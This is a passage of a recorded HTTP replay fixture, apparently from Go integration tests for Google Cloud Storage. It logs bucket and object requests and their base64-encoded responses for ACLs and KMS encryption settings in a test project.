"AEnB2UqHPSbutJRXX-6i05QnH_4UizrPft0fsGc3_ISDNmXQ4C3RPbEAnNfS1Ren0j3k2z8zxk9AV1WZQCWiKG9D5A8gZAZESFxbSZyjbBH8jkLEsEX54NQ" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9rbXMvMTU1NjgzNTk3OTg3OTk4NSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9vL2ttcyIsIm5hbWUiOiJrbXMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3OTg3OTk4NSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxOS44NzlaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MTkuODc5WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE5Ljg3OVoiLCJzaXplIjoiOSIsIm1kNUhhc2giOiJBQVBRUzQ2VHJuTVlucWlLQWJhZ3RRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L28va21zP2dlbmVyYXRpb249MTU1NjgzNTk3OTg3OTk4NSZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9rbXMvMTU1NjgzNTk3OTg3OTk4NS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvby9rbXMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsIm9iamVjdCI6ImttcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc5ODc5OTg1IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNMSE10L3p4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9rbXMvMTU1NjgzNTk3OTg3OTk4NS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L28va21zL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5Iiwib2JqZWN0Ijoia21zIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5Nzk4Nzk5ODUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTEhNdC96eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkva21zLzE1NTY4MzU5Nzk4Nzk5ODUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9vL2ttcy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsIm9iamVjdCI6ImttcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc5ODc5OTg1IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNMSE10L3p4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9rbXMvMTU1NjgzNTk3OTg3OTk4NS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L28va21zL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5Iiwib2JqZWN0Ijoia21zIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5Nzk4Nzk5ODUiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTEhNdC96eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IlVJNzg1QT09IiwiZXRhZyI6IkNMSE10L3p4L2VFQ0VBRT0iLCJrbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTEvY3J5cHRvS2V5VmVyc2lvbnMvMSJ9" - } - }, - { - "ID": "13283bc1ba20f019", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0019/o/kms?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:20 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo2b3OtHWqpsRWxurpcGgrEtM10ZDdsrIa2z0nFsO-P4G3RAGYMTVMR0MCtwLDePrKyhfnsK-d9T5AIcRpeaIe8Z40Qm7gkZP4Fdi9jXd6ceYe5Iwc" - ] - }, - "Body": "" - } - }, - { - "ID": "ca2255586aa4aeab", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0019?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "126" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJlbmNyeXB0aW9uIjp7ImRlZmF1bHRLbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTIifX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2555" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:21 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur05CMGbsLFprbwWYFSeE3I5dKFdFUzO--ImyAzkLt6ueNGpMDviyX6c1S4F6t1bqXTSnyQXXQzgugu8JoecrL3-1eJOPsqnN-OBMubntJCblkyWqE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE5LjA2N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyMS4zMzZaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJlbmNyeXB0aW9uIjp7ImRlZmF1bHRLbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTIifSwib3duZXIiOnsiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0In0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0=" - } - }, - { - "ID": "e1c336910a43425f", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0019?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2555" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:21 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:21 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urcwbg5Z9C0rFvSTWYj4FxF27ooV0028Cm-yme-BrfmvK0dWsRkfRQEMWylWwokcmM2kIvLKEiucJlvDLHvnbJPB_HjH3zF2Lm8xCwV_9gPN42QDeo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE5LjA2N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyMS4zMzZaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJlbmNyeXB0aW9uIjp7ImRlZmF1bHRLbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTIifSwib3duZXIiOnsiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0In0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0=" - } - }, - { - "ID": "581a002b653f595d", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0019?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "20" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJlbmNyeXB0aW9uIjpudWxsfQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:22 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Upv2LawTqc_eDVGR_hv2jSCyEA77H33uMkPevVxUUDKj1u4a9IWOH2f1oMXpU52-49Jg17SUSoJUJai1Ueff3ahN58GC9FCxwJt5v5xOHI3SytFjpo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE5LjA2N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoyMi4xMjRaIiwibWV0YWdlbmVyYXRpb24iOiIzIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk